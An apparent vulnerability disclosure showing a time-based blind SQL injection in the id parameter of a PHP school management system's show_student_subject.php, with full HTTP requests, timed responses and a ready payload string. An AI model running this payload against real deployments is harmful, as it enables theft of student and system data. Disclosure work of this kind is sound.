

SQL injection vulnerability exists in id parameter of /view/show\_student\_subject.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET to /std1/view/show\_student\_subject.php?do=view\_subject&id=1'%20AND%20(select%20%20from%20(select(sleep(4)))v)%20AND%20'1'='1&index=undefined. The response is an HTTP 200 OK from nginx/1.15.11, containing HTML content with a modal dialog. The status bar at the bottom indicates 'Done' and '2,363 bytes | 4,004 millis'.

Request	Response
1 GET /std1/view/show_student_subject.php?do=view_subject&id=1'%20AND%20(select%20%20from%20(select(sleep(4)))v)%20AND%20'1'='1&index=undefined HTTP/1.1	1 HTTP/1.1 200 OK
2 Accept: */*	2 Server: nginx/1.15.11
3 X-Requested-With: XMLHttpRequest	3 Date: Thu, 18 Apr 2024 16:18:36 GMT
4 Referer: http://192.168.31.163/std1	4 Content-Type: text/html; charset=UTF-8
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd	5 Connection: keep-alive
6 Accept-Encoding: gzip, deflate, br	6 X-Powered-By: PHP/7.3.4
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36	7 Content-Length: 2173
8 Host: 192.168.31.163	8
9 Connection: Keep-alive	9 <!--*****Insert Student Subjects***** -->
	10 <div class="modal msk-fade" id="modalViewSubject" tabindex="-1" role="dialog" aria-labelledby="tt3" aria-hidden="true" data-backdrop="static" data-keyboard="false">
	11 <div class="modal-dialog ">
	12 <div class="container ">
	13 <!--modal-content -->
	14 <div class="row ">
	15 <div class="col-md-6">
	<div class="panel panel-primary">

Sleep time is 15s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET to /std1/view/show\_student\_subject.php?do=view\_subject&id=1'%20AND%20(select%20%20from%20(select(sleep(15)))v)%20AND%20'1'='1&index=undefined. The response is an HTTP 200 OK from nginx/1.15.11, containing HTML content with a modal dialog. The status bar at the bottom indicates 'Done' and '2,365 bytes | 15,025 millis'.

Request	Response
1 GET /std1/view/show_student_subject.php?do=view_subject&id=1'%20AND%20(select%20%20from%20(select(sleep(15)))v)%20AND%20'1'='1&index=undefined HTTP/1.1	1 HTTP/1.1 200 OK
2 Accept: */*	2 Server: nginx/1.15.11
3 X-Requested-With: XMLHttpRequest	3 Date: Thu, 18 Apr 2024 16:18:21 GMT
4 Referer: http://192.168.31.163/std1	4 Content-Type: text/html; charset=UTF-8
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd	5 Connection: keep-alive
6 Accept-Encoding: gzip, deflate, br	6 X-Powered-By: PHP/7.3.4
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36	7 Content-Length: 2175
8 Host: 192.168.31.163	8
9 Connection: Keep-alive	9 <!--*****Insert Student Subjects***** -->
	10 <div class="modal msk-fade" id="modalViewSubject" tabindex="-1" role="dialog" aria-labelledby="tt3" aria-hidden="true" data-backdrop="static" data-keyboard="false">
	11 <div class="modal-dialog ">
	12 <div class="container ">
	13 <!--modal-content -->
	14 <div class="row ">
	15 <div class="col-md-6">
	<div class="panel panel-primary">

Payload: id=1'%20AND%20(select%20%20from%20(select(sleep(15)))v)%20AND%20'1'='1

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>